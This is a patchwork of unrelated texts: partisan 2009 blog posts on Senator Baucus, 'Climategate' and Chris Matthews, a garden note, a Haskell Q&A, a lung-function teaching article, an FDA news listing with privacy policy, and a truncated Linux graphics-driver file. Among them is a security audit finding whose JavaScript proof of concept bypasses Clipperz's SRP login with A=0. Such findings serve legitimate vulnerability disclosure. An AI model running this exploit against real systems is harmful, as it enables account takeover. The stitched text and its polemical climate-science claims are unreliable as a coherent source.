Ahhh, yes . . . I think it was! In Greek mythology, it was the twice-born Dionysus (Dionysos), although, interestingly, the use of the name "Bacchus," for both the votary and god, was actually cited by Greek and Roman sources (fn # 2).

Well, it sure looks to me like somebody from Montana wants to become the Senate replacement for Ted Kennedy, no?

According to Politico, at the link:

An email seeking comment has been sent to Sen. Baucus's office and we will update this post when we hear back.

p.s. Young ladies are hereby cautioned not to ride in any vehicle where "Mad" Max is behind the wheel . . .

UPDATE: A statement released by the Office of Senator Baucus to Patrick Gavin at Politico, posted in an update here, claims his "passionate defense" was turned into "an unfounded, untrue personal smear internet rumor," i.e., that he was intoxicated while giving the finger-pointing speech memorialized by the video, above.

"When his friend of 30 years Ted Kennedy, with whom he had fought so hard to provide health care to children, was being used as a cheap foil to oppose health care reform, Senator Baucus gave a passionate defense. Unfortunately, those who want to kill any meaningful reform, turned it into an unfounded, untrue personal smear internet rumor. This is beyond the pale and this type of gutter politics has no place in the public sphere. It is this type of slander that makes Montanans, and Americans, disgusted with the politics as usual in Washington. And what is even more sad is that such a personal attack would be given any validity at all, let alone being elevated to the status of 'news'."

Wednesday, December 16, 2009

People are asking these questions because of the myriad issues that keep arising regarding the work of the progenitors of anthropogenic global warming and climate change.

It seemed to me that the question naturally arises because of what unexplained approximations, private doubts expressed by the scientists themselves, destruction of raw data, data manipulations, employment of "tricks" to "hide the decline," evasions, possible violations of FOI requirements, etc. -- all have been and continue to be exposed, and are all threaded throughout the underbelly of what is being presented in the name of settled science. Thus, so much of what had been recently offered to the world as "science" to be believed, now appears to be riven with quite unsettling and unanswered questions.

And, in addition to all the serious questions many have raised arising out of the revelations of the e-mail and data dump late last month from the Climate Research Unit (CRU) at the University of East Anglia in the UK, it now appears there is yet another very serious problem associated with the work compiled over there at the CRU -- unprofessional computer source coding (ht for clip, Ed Morrissey at Hot Air, here).

Brace yourself!

It seems that a writer of the source code underscoring their modeling work rather openly and candidly admits that he is somewhat incompetent, and not always up to the task!

On almost a daily basis, new revelations and very troubling information arises regarding global warming science. It does not mean that there is no basis to it. But this is beginning to look like the Leng T'che "slow slicing" -- or, "death by a thousand cuts."

So, many would argue that playing 52 pick-up with the entire world economy might not be such a hot idea, given those unanswered questions. In fact, it might not be such a hot idea, even if the anthropogenic basis of the prognosticators is eventually shown to have merit. That is because, as scientists like Richard S. Lindzen persuasively argue, the scare tactics of claimed climate change are an entirely different story.

What does all this have to do with climate catastrophe? The answer brings us to a scandal that is, in my opinion, considerably greater than that implied in the hacked emails from the Climate Research Unit (though perhaps not as bad as their destruction of raw data): namely the suggestion that the very existence of warming or of the greenhouse effect is tantamount to catastrophe. This is the grossest of "bait and switch" scams. It is only such a scam that lends importance to the machinations in the emails designed to nudge temperatures a few tenths of a degree.

You would think this that this "climategate" scandal was becoming a bigger and bigger source of acute embarrassment, especially to those international architects and proponents of massive changes in our world's international economic order, the ones gathered as they all are in Copenhagen, negotiating agreements for underscoring the very energy future of our entire globe, a new and very limiting order attempting to bind developing and developed nations alike.

Now we come to the latest "cut" --- we find out that, on top of all the other issues cited above, that the lofty and grand future economic edifice being negotiated, is firmly rooted, at least in some small part, on the computer modeling work of some self-effacing code writer who readily concedes that, owing to his personal limitations, he has employed a "work-around" or two . . . thereby actually introducing a "fudge factor" right into the scientific mix!

His words!

What the . . . !! Go on. Take a look for yourself. Click on the arrow in the clip below.

Wednesday, December 09, 2009

Is Science Itself At Risk?

UPDATE, below: In the embedded Wall Street Journal sponsored "Journal Editorial Report" below, Paul Gigot talks about the overall context of this weeks Copenhagen climate conference, and the various implications thereof, in light of the unfolding scandal at the Climate Research Unit (CRU) at the University of East Anglia. Arising out of the recent massive release of e-mails, and other evidence, much of the documentation suggested subversion of the peer review process, detailing of deliberate efforts to refuse to comply with FOI requests, recommendations to "lose" data, and even actual data manipulation in the modeling process itself.

Gigot queries the Wall Street Journal's Daniel Henninger, Kimberly Strassel, and Bret Stephens about their takes on meaning of the various aspects of the scandal.

Henninger begins by saying that in light of indications of public opinion shifting to a view that suggests scientists in general are manipulating data, the "rest of science" -- those outside the climate science community -- should speak out publicly and "defend the people who are trying to get more transparency into the [climate science] process."

Strassel makes the singularly important point that, from her perspective, it is not just the exposure of pettiness (as was indeed revealed in the e-mails) or even the implications of politicization therein that matters most. She says that the most disturbing evidence is what strongly suggests actual data manipulation being written right into the code of the computer models themselves. She notes that in conversations with statisticians and others, they "say it is an absolute mess, full of lots of fudges and little sleighs-of-hand, all designed to plump up the case for rising temperatures."

Stephens reiterates that these revelations show what amounts to "sausage factory methods" being used by some of these scientists, picking and choosing some data, while ignoring other data, in order to arrive at conclusions that, after all, attempt to show what are really relatively tiny differences in the temperature record over the decades. In other words, it hasn't taken much in the way of manipulation to create these supposed shifts.

Here is a link to a searchable version of the entire set of the exposed CRU and East Anglia e-mails. As anyone can see, the considerable number of e-mails range over a more than ten-year period -- 1996 thru 2009 -- with many of the latest and most significant e-mails being a mere one or two months old -- ones from October and November of 2009!

There is a lot more there on CA now. I would be very wary about responding to this person now having seen what McIntyre has put up.You and Tim talked about Yamal. Why have the bristlecones come in now.[1]http://www.climateaudit.org/?p=7588#commentsThis is what happens - they just keep moving the goalposts.Maybe get Tim to redo OB2006 without a few more series.CheersPhil

Al Gore simply loses all credibility when making comments like the one he made above -- alleging that the controversy is all just about ten-year old e-mails! The released e-mail record throughout the years is replete with ones as damaging as this less than two month old one written by Phil Jones.

In his piece, Andrew Bolt pointedly noted that Gore falsely claimed three times during the interview that the controversy was only about ten year old e-mails. So, you also really have to wonder what it says about John Dickerson of Slate, who let Gore get away with those complete misrepresentations without calling him on it at any point! Maybe he never read the e-mails either?

***********

In other news, it looks like Laura Nichols, a student reporter for the school newspaper at Penn State University, the Daily Collegian Online, has broken details of the story about how Penn State has indeed also launched an investigation into Michael Mann's role in the explosive "ClimateGate" scandal, ht, Climate Audit, here. The University of East Anglia had previously announced an internal investigation regarding the scandal that has hit its Climate Research Unit (CRU) as a result of the e-mail dump.

"homogenization" process at the NOAA’s Global Historical Climate Network had on the temperature readings.

The possible implications are simply stunning, and yet consistent with concerns raised in the e-mails . . . the process literally "falsified climate declines into increases" as Ed noted in his headline. You should read the whole thing.

Wednesday, December 02, 2009

West Point Is "The Enemy Camp?"

UPDATE, below: MSNBS political opinionator, Chris Matthews, commenting just after the Obama speech regarding Afghanistan, which the President delivered December 1, 2009, at the United States Military Academy at West Point in New York.

Honestly, is there a bigger fool in public life today than this furrowing-feeler? He calls West Point the "enemy camp!"

This one, of course, was only the latest in that ample tapestry of gaffes that Matthews has woven over the years.

*****************

UPDATE: Apparently Chris Matthews took a lot of heat today for calling the United States Military Academy at West Point the "enemy camp" during his analytical reaction to the Presidents's speech on Afghanistan last night. And he took that he, not just from cadets, or former cadets (which, as you will see, are the only "critics" he acknowledges in the video below) but from a whole raft of Americans, including, you would have to believe, from his bosses at MSNBC.

Certainly, the phones there must have rung off the hook on this one!

So, Chris did an about face and issued the following on-air apology, attempting thereby, as you will hear, to set himself above the strawman politicians who he says would have tried to talk their way around it.

I have never believed Chris Matthews was any more than a vile and disingenuous political hack, even back in the days when he first showed up on television and pretended to take a more broadly bipartisan approach to his commentary. To me, he is the most thoroughly dishonest and reprehensible commentator on the air today. And that specifically includes his air-time buddy at MSNBC, Keith Olberman, who at least doesn't try to hide his utter personal contempt for traditional American values, or for that matter, for virtually anything that this country has stood for over the years.

" ... It will be of little avail to the people, that the laws are made by men of their own choice, if the laws be so voluminous that they cannot be read, or so incoherent that they cannot be understood; if they be repealed or revised before they are promulgated, or undergo such incessant changes that no man, who knows what the law is to-day, can guess what it will be to-morrow. Law is defined to be a rule of action; but how can that be a rule, which is little known, and less fixed?>"


Welcome to Steve's Square Foot Garden for 2011 (lower Hudson River Valley region of New York State) I will be exploring and sharing my experiences about the square foot gardening through this blog and hope that you will learn and share along with me!

July 04, 2012

A real nice garlic harvest this year! Didn't leave it in the ground too long like last year (when bottom two leaves go brown I pulled). Last year waited too long and cloves were close to separating and rotted quicker in storage. Now off with these to the shed for 3 weeks to cure!


CLP-01-017 SRP Authentication Bypass (Critical)

The Clipperz application implements the Secure Remote Password protocol
for authentication. The specification explicitly states that the
parameter A provided by the client must not be zero. The Clipperz
implementation omits this check, which makes password verification
trivial to bypass.

According to the SRP-6 specification, the shared secret is on the server
side calculated as (Avu)b where A is supplied by the client. If A is
zero the result is also zero, and the resulting shared key is H(0). The
corresponding proof can easily be calculated by the attacker as H(0 | B
| H(0)). The following JavaScript function can be run in the console
when on the Clipperz login page. While the page itself is not updated,
the resulting JSON response clearly indicates a successful login.

SRP authentication bypass PoC:

(function PoC(){
  function send(m,p){
    x=new XMLHttpRequest();
    x.open('post','/json',false);
    x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    x.send('method='+m+'&parameters='+urlEncode(JSON.stringify(p)));
    return JSON.parse(x.responseText);
  }
  r=send('knock',{"requestType":"CONNECT"});

  r=send('handshake',{"parameters":
   {"message":"connect",
    "version":"0.2",
    "parameters":

{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6",
       "A":"0"}},
    "toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});

  B=new Clipperz.Crypto.BigInt(r.result.B,16).asString();
  S=new Clipperz.ByteArray("0")
  K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2);
  M1=new Clipperz.ByteArray("0"+B+K)
  M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2);
  return send('handshake',{"parameters":
    {"message":"credentialCheck",
     "version":"0.2",
     "parameters":{"M1":M1}},
     "toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
})()

Example JSON response:

{"result":
  {"subscription":
    {"fromDate":"Mon, 28 April 2014 13:20:56 UTC",
     "features":["OFFLINE_COPY","LIST_CARDS"],
     "toDate":"Mon, 01 January 4001 00:00:00 UTC",
     "type":"EARLY_ADOPTER"},
   "loginInfo":
     {"current":
       {"operatingSystem":"LINUX",
        "disconnectionType":"STILL_CONNECTED",
        "browser":"FIREFOX",
        "connectionType":"LOGIN",
        "date":"Tue, 06 May 2014 03:09:28 UTC",
        "country":"SE",
        "ip":"83.248.183.26"},
      "latest":
        {"operatingSystem":"LINUX",
         "disconnectionType":"SESSION_EXPIRED",
         "browser":"FIREFOX",
         "connectionType":"LOGIN",
         "date":"Tue, 06 May 2014 02:16:36 UTC",
         "country":"SE",
         "ip":"83.248.183.26"}},
   "connectionId":
   "35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86",
   "lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271",
   "offlineCopyNeeded":true,
   "M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"},
   "toll":
   {"targetValue":
     "2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5",
     "requestType":"MESSAGE",
     "cost":2}
}

To mitigate the issue sufficiently, the server needs to verify that A
cannot be 0 so the attack cannot be carried out.


Q:

Haskell: Escaped character from character

I'm writing a parsec parser which reads in strings and converts escaped characters, as part of exercise 3 here.
For that exercise I am using this function:
escapedCharFromChar :: Char -> Char
escapedCharFromChar c = read $ concat ["'\\",[c],"'"]

I am not to impressed with the use of read to convert the character x into the escape character with the name x. Can anyone suggest a more elegant function of type Char -> Char to do this?

A:

read (or rather, Text.Read.Lex.lexCharE) is how you get at GHC's internal table, which is defined as:
 lexEscChar =
   do c <- get
      case c of
        'a'  -> return '\a'
        'b'  -> return '\b'
        'f'  -> return '\f'
        'n'  -> return '\n'
        'r'  -> return '\r'
        't'  -> return '\t'
        'v'  -> return '\v'
        '\\' -> return '\\'
        '\"' -> return '\"'
        '\'' -> return '\''
        _    -> pfail

Eventually, you have to define the semantics somewhere.  You can do it in your program, or you can reuse GHC's.

A:

One way is to lay out the cases exhaustively:
charFromEscape :: Char -> Char
charFromEscape 'n' = '\n'
charFromEscape 't' = '\t'
--- ... --- Help!

You could also use lookup:
-- this import goes at the top of your source file
import Data.Maybe (fromJust)

charFromEscape :: Char -> Char
charFromEscape c = fromJust $ lookup c escapes
  where escapes = [('n', '\n'), ('t', '\t')] -- and so on

The fromJust bit may look strange. The type of lookup is
lookup :: (Eq a) => a -> [(a, b)] -> Maybe b

which means for a value of some type over which equality is defined and a lookup table, it wants to give you the corresponding value from the lookup table—but your key isn't guaranteed to be present in the table! That's the purpose of Maybe, whose definition is
data Maybe a = Just a | Nothing

With fromJust, it assumes you got Just something (i.e., c has an entry in escapes), but this will fall apart when that assumption is invalid:
ghci> charFromEscape 'r'
*** Exception: Maybe.fromJust: Nothing
These examples will move you along in the exercise, but it's clear that you'd like better error handling. Also, if you expect the lookup table to be large, you may want to look at Data.Map.


Introduction to the uses of lung function {#s1}
=========================================

Dyspnoea, defined as breathing difficulty or discomfort \[[@C1]\], is a common symptom of cardiorespiratory distress, seen in ∼27% of the global population \[[@C2]\]. Furthermore, lung disease is becoming one of the most prevalent types of disease globally, with chronic obstructive pulmonary disease (COPD) expected to become the third commonest cause of death by 2030 \[[@C3]\]. This underlines the importance of ensuring accurate diagnostic testing of lung function. Investigations such as pulse oximetry, chest radiography, ECGs and spirometry are some of the recommended tests to investigate the cause of suspected dyspnoea \[[@C4]\]. When COPD is suspected, alongside patient history of exposure to harmful chemicals and lifestyle choices, one of the most crucial diagnostic tools for measuring lung function is the use of spirometry for dynamic lung volume measurements. Broadly, pulmonary function tests (PFTs) categorise lung pathologies into obstructive or restrictive patterns based on the forced expiratory volume in 1 s (FEV~1~) or forced vital capacity (FVC) or the ratio between FEV~1~/FVC. Examples of common obstructive pathologies include asthma, COPD and bronchiectasis; common restrictive diseases include pulmonary fibrosis, asbestosis and sarcoidosis \[[@C1]\].

The uses of lung function testing, in general, include the detection of the presence or absence of disease, assessment of disease progression, and responses to treatment as part of pre-operative assessments for routine patients and those who may be at elevated risk of anaesthesia complications. It is important that medical students are taught up to date diagnostic criteria as building blocks for further clinical training.

Current taught diagnostic criteria {#s2}
==================================

The current taught criteria for medical students focuses on using predicted values to categorise obstructive diseases based on the FEV~1~/FVC ratio or the FEV~1~ value alone. They state that a normal lung has a FEV~1~ \>80% of the predicted values, a FVC \>80% or a FEV~1~/FVC \>0.7. Conversely, for restrictive patterns, a FEV~1~/FVC \>0.7 (70%) with a reduced FVC would suggest the presence of disease. This information is based on the 1983 European Community for Coal and Steel (ECCS) reference values and the 1993 European Respiratory Society (ERS) update. This is the more traditional method of assessing lung function and the criteria offer a basic introduction to lung function testing, but basing clinical knowledge on outdated criteria poses problems when it comes to clinical practice and development of services within an already constrained National Health Service (NHS) environment.

There are also a few issues with using these diagnostic criteria, the first being that the predicted values do not take into consideration ethnic variations without manual inputting of values, which can sometimes be erroneously done. Another issue is that the predicted values are not accurate for patients under the age of 18 or over the age of 70 years. A further issue pertains to the accuracy of using percentage predicted values as diagnostic criteria over other statistical methods, with traditional methods leading to higher rates of false positive diagnosis \[[@C5]\]. With an increasing number of patients over the age of 70 years expected to be performing lung function tests over the next decade, the introduction of more reliable ranges is important for expediting their use in clinical practice and for standardisation of testing.

The solution? {#s3}
=============

More recently, more accurate methods of assessing lung function have been developed by the Global Lung Initiative (GLI) with their work on incorporating statistics into diagnostics and diagnosing patients based on their standard residual value, also known as z-scores, which considers lower limits of normal and assesses how far away from the normal distribution the value sits \[[@C6]\]. This means that diagnosing lung conditions can be carried out with more accuracy and take into consideration a more accurate normal variation within the whole population.

The GLI comprises an updated set of predicted values, currently available for spirometry and diffusion capacity testing, which includes multi-ethnic equations for both males and females between the ages of 3 and 95 years \[[@C6]\]. Hence, there is a more accurate and less error prone method of generating predicted values. With the majority of respiratory function machines having the GLI ranges embedded in their software and these predicted ranges being endorsed by the American Thoracic Society (ATS), Australian and New Zealand Society of Respiratory Science (ANZSRS), Asian Pacific Society for Respirology (APSR) and the Thoracic Society of Australia and New Zealand (TSANZ), now appears to be the ideal time to introduce these diagnostic criteria into medical school teaching \[[@C6]\].

Traditionally, although predicted values consider normal variation in the production of their reference ranges, their population was targeted at Caucasian males, not representative of the global population, who present with varying values depending on the demographic. There are also differing percentage cut-offs for different tests, for example spirometry and diffusion capacity. Moreover, the use of standard residuals means a patient\'s deviation can be measured from a range of reference values, independent of ethnicity bias and offers a more accurate way of measuring whether a patient\'s result is abnormal or not.

In clinical practice, this means that the traditional GOLD (Global Initiative for Chronic Obstructive Lung Disease) spirometry criteria can be taught, with the standard residual values, as suggested by K[innear]{.smallcaps} *et al*. \[[@C7]\] or by Q[uanjer]{.smallcaps} *et al*. \[[@C8]\] with an emphasis on the new endorsed GLI values that will enter clinical practice ([table 1](#TB1){ref-type="table"}) \[[@C7]--[@C9]\]. Not only can this be used for spirometry, having a single standard residual cut-off applied to diffusion capacity and lung volumes means that instead of three different predicted value thresholds, a single diagnostic value can be applied across the majority of lung function tests. This will enable more appropriate diagnosis and accurate measurement of a patient\'s lung function over time across any parameter and will ultimately simplify diagnosing respiratory conditions and reduce erroneous diagnoses.

######

Comparison of GOLD spirometry criteria *versus* the standard residual (z-score) ranges

  -------------------------------------------------------------------------------------------------
  **Severity**           **Percentage predicted**   **Severity**   **Standard residual/
z-score**
  ---------------------- -------------------------- -------------- --------------------------------
  **Normal**             FEV~1~/FVC\>0.7\           Normal         ±1.645
                         FEV~1~\>80%

  **Mild COPD**          FEV~1~/FVC\<0.7\           Mild           ±1.645--2.500
                         FEV~1~ 80%

  **Moderate COPD**      FEV~1~/FVC\<0.7\           Moderate       ±2.510--3.500
                         50%\<FEV~1~\<80%

  **Severe COPD**        FEV~1~/FVC\<0.7\           Severe         ± \>3.500
                         30%\<FEV~1~\<50%

  **Very severe COPD**   FEV~1~/FVC\<0.7\
                         FEV~1~\<30%
  -------------------------------------------------------------------------------------------------

What does this mean for clinical practice? {#s4}
==========================================

If the example of a 94-year-old female patient is used, her values are likely to present as inaccurate when using the traditional method in comparison to when using the GLI predicted values as she exceeds the upper age limit. Moreover, her percentage of predicted values may well rise, even when her lung function decreases due to the inaccuracies of using percentage predicted values over standard residual monitoring. In this instance, medical students should be taught to look at both absolute values when dealing with trends, but also the GLI reference ranges (or standard residual) in addition to the current diagnostic criteria.

Conclusion {#s5}
==========

In conclusion, teaching what is deemed to be simpler diagnostic criteria early on opens avenues for potential harm in the long run for patients seen in respiratory clinics by junior and foundation doctors. There is an argument to update medical teaching to incorporate new diagnostic criteria to reduce the potential harm posed and, as with all diagnostic criteria, the clinician\'s judgement is paramount to providing effective clinical practice. As the GLI values have accreditation from many established organisations across the world, there is a perfect opportunity to expedite the implementation of these values while improving the accuracy of diagnosis and provide a universal scoring system for use in respiratory clinics by introducing these diagnostic criteria in early training.

**Conflict of interest:** None declared.


The United States Food and Drug Administration

The United States Food and Drug Administration is the oldest consumer protection agency in the United States. The agency was not officially known as the FDA until 1930, but its regulatory functions began with the... more +

The United States Food and Drug Administration is the oldest consumer protection agency in the United States. The agency was not officially known as the FDA until 1930, but its regulatory functions began with the passage of the 1906 Pure Food and Drugs Act. The agency is charged with protecting the integrity of the nation's food supply and cosmetic products, as well as monitoring the safety and efficacy of drugs, medical devices, and biological products. less -

Health Canada, the federal regulatory authority that evaluates the safety, efficacy, and quality of drugs available in Canada recently released a revised Guidance Document on Information and Submission Requirements for...more

These seven key provisions will affect the premarket requirements for medical devices.
The US Senate passed the 21st Century Cures Act on December 7, and President Barack Obama is expected to sign the bill into law....more

This past April, the FDA approved Inflectra® (infliximab-dyyb), Celltrion and Hospira’s biosimilar of Janssen’s Remicade®. According to papers filed in the Federal Circuit this week, Celltrion and Hospira (collectively,...more

A recent decision from the Ninth Circuit has highlighted the uncertainty that exists in the food product market about the use and definition of “All Natural” in labeling and advertising. In Brazil v. Dole Packaged Foods,...more

Within the last week, both the U.S. Senate and the U.S. Food and Drug Administration (FDA or the Agency) have taken significant steps to deregulate a large portion of hearing aid devices. Despite the benefits that hearing...more

Earlier this month, the United States Department of Agriculture (USDA), Food Safety and Inspection Service (FSIS) issued a proposed rule to overhaul the nutrition facts panel for meat and poultry products. FSIS issued its...more

New legislation includes a broad regulatory exemption for medical software.
On December 7, the US Senate passed the 21st Century Cures Act and sent it to President Barack Obama, who has promised to sign it. This new...more

On November 30, 2016, the House of Representatives passed the 21st Century Cures Act, a bill intended to modernize health care delivery and speed up and improve medical research and innovations by removing bureaucratic...more

Today, the Senate voted overwhelmingly – 94-5 – to pass sweeping medical innovation legislation clearing the way for President Obama to sign it into law when it reaches his desk later this week. The 21st Century Cures Act,...more

The election of Donald J. Trump as the 45th President of the United States, along with the Republican control of the majority of both the House of Representatives and the Senate, will likely set in motion a major overhaul of...more

The prior approval of a drug containing an active ingredient of the innovator drug is not necessarily a death knell for NCE exclusivity.
Originally published in the Intellectual Property and Life Sciences sections of...more

The Senate this week is likely to give final congressional approval to legislation that adds billions of dollars for biomedical research and aims to speed the discovery and development of new drugs and medical devices. The...more

We blogged about possibly interesting nuggets in the 21st Century Cures Act (“21CCA”) back in February, 2015 – when it was only 400 pages long. In true congressional fashion, it’s now twice as long and loaded up with enough...more

We recently reported that Amgen and Allergan had submitted an abbreviated Biologics License Application to the FDA for ABP 215, a biosimilar to Avastin® (bevacizumab). Today, the companies announced that they have also...more

I previously wrote about Thornton v. Pinnacle Foods Group LLC, No. 4:16-CV-00158-JAR, in which the Eastern District of Missouri refused to dismiss a consumer fraud claim based on “nothing artificial” labels on boxes of Duncan...more

It’s almost 1,000 pages, culminates at least three years of work, and provides a $6.3 billion boost for an array of health-related agencies and initiatives. Will the U.S. Senate join the House in bipartisan passage of the...more

On November 30, 2016, the House overwhelmingly passed (392-26) the 21st Century Cures Act (“Bill”). The Bill moves on to the Senate next week and it is projected to pass in the Senate as well. Notably, the Bill seeks to...more

Nearly a decade after Congress directed significant expansion of the national clinical trials database, www.ClinicalTrials.gov, the US Department of Health and Human Services (HHS) has issued final implementing regulations...more

After months of debate and partisan wrangling, the House on Wednesday voted 392-26 to pass the “21st Century Cures” bill designed to accelerate the development of new drugs and medical devices as well as increase federal...more

On November 28, 2016, the First Circuit upheld the dismissal of all but one of the class action securities fraud claims against Cambridge, MA drug company, ARIAD Pharmaceuticals, Inc., reaffirming the exacting pleading...more

About 12 months ago, AbbVie filed a Citizen Petition asking the FDA to take certain steps to tighten and clarify its procedures for making interchangeability determinations. Earlier this year, both Sandoz and GPhA urged the...more

OPDP issues fifth untitled letter of the year to Supernus for misrepresenting Oxtellar XR in KOL video -
In its fifth untitled letter in 2016, the OPDP raised concerns about a Spanish KOL video suggesting Supernus’...more

FDA (Finally!) Issues New Regulations to Clarify Pharmaceutical Patent Litigation: How to Use Patent “Use Codes” -
October 6, 2016, the FDA issued a final rule implementing certain provisions of the Medicare...more

After several high-profile defeats in both district and circuit courts involving the off-label promotion of regulated products and the First Amendment, the U.S. Food and Drug Administration (FDA) is now engaged in a...more

*By using the service, you signify your acceptance of JD Supra's Privacy Policy.

- hide

Privacy Policy (Updated: October 8, 2015):

JD Supra provides users with access to its legal industry publishing services (the "Service") through its website (the "Website") as well as through other sources. Our policies with regard to data collection and use of personal information of users of the Service, regardless of the manner in which users access the Service, and visitors to the Website are set forth in this statement ("Policy"). By using the Service, you signify your acceptance of this Policy.

The information and data collected is used to authenticate users and to send notifications relating to the Service, including email alerts to which users have subscribed; to manage the Service and Website, to improve the Service and to customize the user's experience. This information is also provided to the authors of the content to give them insight into their readership and help them to improve their content, so that it is most useful for our users.

JD Supra does not sell, rent or otherwise provide your details to third parties, other than to the authors of the content on JD Supra.

If you prefer not to enable cookies, you may change your browser settings to disable cookies; however, please note that rejecting cookies while visiting the Website may result in certain parts of the Website not operating correctly or as efficiently as if cookies were allowed.

Email Choice/Opt-out

Users who opt in to receive emails may choose to no longer receive e-mail updates and newsletters by selecting the "opt-out of future email" option in the email they receive from JD Supra or in their JD Supra account management screen.

Security

JD Supra takes reasonable precautions to insure that user information is kept private. We restrict access to user information to those individuals who reasonably need access to perform their job functions, such as our third party email service, customer service personnel and technical staff. However, please note that no method of transmitting or storing data is completely secure and we cannot guarantee the security of user information. Unauthorized entry or use, hardware or software failure, and other factors may compromise the security of user information at any time.

If you have reason to believe that your interaction with us is no longer secure, you must immediately notify us of the problem by contacting us at info@jdsupra.com. In the unlikely event that we believe that the security of your user information in our possession or control may have been compromised, we may seek to notify you of that development and, if so, will endeavor to do so as promptly as practicable under the circumstances.

Sharing and Disclosure of Information JD Supra Collects

Except as otherwise described in this privacy statement, JD Supra will not disclose personal information to any third party unless we believe that disclosure is necessary to: (1) comply with applicable laws; (2) respond to governmental inquiries or requests; (3) comply with valid legal process; (4) protect the rights, privacy, safety or property of JD Supra, users of the Service, Website visitors or the public; (5) permit us to pursue available remedies or limit the damages that we may sustain; and (6) enforce our Terms & Conditions of Use.

In the event there is a change in the corporate structure of JD Supra such as, but not limited to, merger, consolidation, sale, liquidation or transfer of substantial assets, JD Supra may, in its sole discretion, transfer, sell or assign information collected on and through the Service to one or more affiliated or unaffiliated third parties.

Links to Other Websites

This Website and the Service may contain links to other websites. The operator of such other websites may collect information about you, including through cookies or other technologies. If you are using the Service through the Website and link to another site, you will leave the Website and this Policy will not apply to your use of and activity on those other sites. We encourage you to read the legal notices posted on those sites, including their privacy policies. We shall have no responsibility or liability for your visitation to, and the data collection and use practices of, such other sites. This Policy applies solely to the information collected in connection with your use of this Website and does not apply to any practices conducted offline or in connection with any other websites.

Changes in Our Privacy Policy

We reserve the right to change this Policy at any time. Please refer to the date at the top of this page to determine when this Policy was last revised. Any changes to our privacy policy will become effective upon posting of the revised policy on the Website. By continuing to use the Service or Website following such changes, you will be deemed to have agreed to such changes. If you do not agree with the terms of this Policy, as it may be amended from time to time, in whole or part, please do not continue using the Service or the Website.

Contacting JD Supra

If you have any questions about this privacy statement, the practices of this site, your dealings with this Web site, or if you would like to change any of the information you have provided to us, please contact us at: info@jdsupra.com.

*With LinkedIn, you don't need to create a separate login to manage your free JD Supra account, and we can make suggestions based on your needs and interests. We will not post anything on LinkedIn in your name. Or, sign up using your email address.


/*
 * SPDX-License-Identifier: MIT
 *
 * Copyright © 2019 Intel Corporation
 */

#include <linux/sched/clock.h>

#include "i915_drv.h"
#include "i915_irq.h"
#include "intel_gt.h"
#include "intel_gt_irq.h"
#include "intel_uncore.h"
#include "intel_rps.h"

static void guc_irq_handler(struct intel_guc *guc, u16 iir)
{
	if (iir & GUC_INTR_GUC2HOST)
		intel_guc_to_host_event_handler(guc);
}

static void
cs_irq_handler(struct intel_engine_cs *engine, u32 iir)
{
	bool tasklet = false;

	if (unlikely(iir & GT_CS_MASTER_ERROR_INTERRUPT)) {
		u32 eir;

		eir = ENGINE_READ(engine, RING_EIR);
		ENGINE_TRACE(engine, "CS error: %x\n", eir);

		/* Disable the error interrupt until after the reset */
		if (likely(eir)) {
			ENGINE_WRITE(engine, RING_EMR, ~0u);
			ENGINE_WRITE(engine, RING_EIR, eir);
			WRITE_ONCE(engine->execlists.error_interrupt, eir);
			tasklet = true;
		}
	}

	if (iir & GT_WAIT_SEMAPHORE_INTERRUPT) {
		WRITE_ONCE(engine->execlists.yield,
			   ENGINE_READ_FW(engine, RING_EXECLIST_STATUS_HI));
		ENGINE_TRACE(engine, "semaphore yield: %08x\n",
			     engine->execlists.yield);
		if (del_timer(&engine->execlists.timer))
			tasklet = true;
	}

	if (iir & GT_CONTEXT_SWITCH_INTERRUPT)
		tasklet = true;

	if (iir & GT_RENDER_USER_INTERRUPT) {
		intel_engine_signal_breadcrumbs(engine);
		tasklet |= intel_engine_needs_breadcrumb_tasklet(engine);
	}

	if (tasklet)
		tasklet_hi_schedule(&engine->execlists.tasklet);
}

static u32
gen11_gt_engine_identity(struct intel_gt *gt,
			 const unsigned int bank, const unsigned int bit)
{
	void __iomem * const regs = gt->uncore->regs;
	u32 timeout_ts;
	u32 ident;

	lockdep_assert_held(&gt->irq_lock);

	raw_reg_write(regs, GEN11_IIR_REG_SELECTOR(bank), BIT(bit));

	/*
	 * NB: Specs do not specify how long to spin wait,
	 * so we do ~100us as an educated guess.
	 */
	timeout_ts = (local_clock() >> 10) + 100;
	do {
		ident = raw_reg_read(regs, GEN11_INTR_IDENTITY_REG(bank));
	} while (!(ident & GEN11_INTR_DATA_VALID) &&
		 !time_after32(local_clock() >> 10, timeout_ts));

	if (unlikely(!(ident & GEN11_INTR_DATA_VALID))) {
		DRM_ERROR("INTR_IDENTITY_REG%u:%u 0x%08x not valid!\n",
			  bank, bit, ident);
		return 0;
	}

	raw_reg_write(regs, GEN11_INTR_IDENTITY_REG(bank),
		      GEN11_INTR_DATA_VALID);

	return ident;
}

static void
gen11_other_irq_handler(struct intel_gt *gt, const u8 instance,
			const u16 iir)
{
	if (instance == OTHER_GUC_INSTANCE)
		return guc_irq_handler(&gt->uc.guc, iir);

	if (instance == OTHER_GTPM_INSTANCE)
		return gen11_rps_irq_handler(&gt->rps, iir);

	WARN_ONCE(1, "unhandled other interrupt instance=0x%x, iir=0x%x\n",
		  instance, iir);
}

static void
gen11_engine_irq_handler(struct intel_gt *gt, const u8 class,
			 const u8 instance, const u16 iir)
{
	struct intel_engine_cs *engine;

	if (instance <= MAX_ENGINE_INSTANCE)
		engine = gt->engine_class[class][instance];
	else
		engine = NULL;

	if (likely(engine))
		return cs_irq_handler(engine, iir);

	WARN_ONCE(1, "unhandled engine interrupt class=0x%x, instance=0x%x\n",
		  class, instance);
}

static void
gen11_gt_identity_handler(struct intel_gt *gt, const u32 identity)
{
	const u8 class = GEN11_INTR_ENGINE_CLASS(identity);
	const u8 instance = GEN11_INTR_ENGINE_INSTANCE(identity);
	const u16 intr = GEN11_INTR_ENGINE_INTR(identity);

	if (unlikely(!intr))
		return;
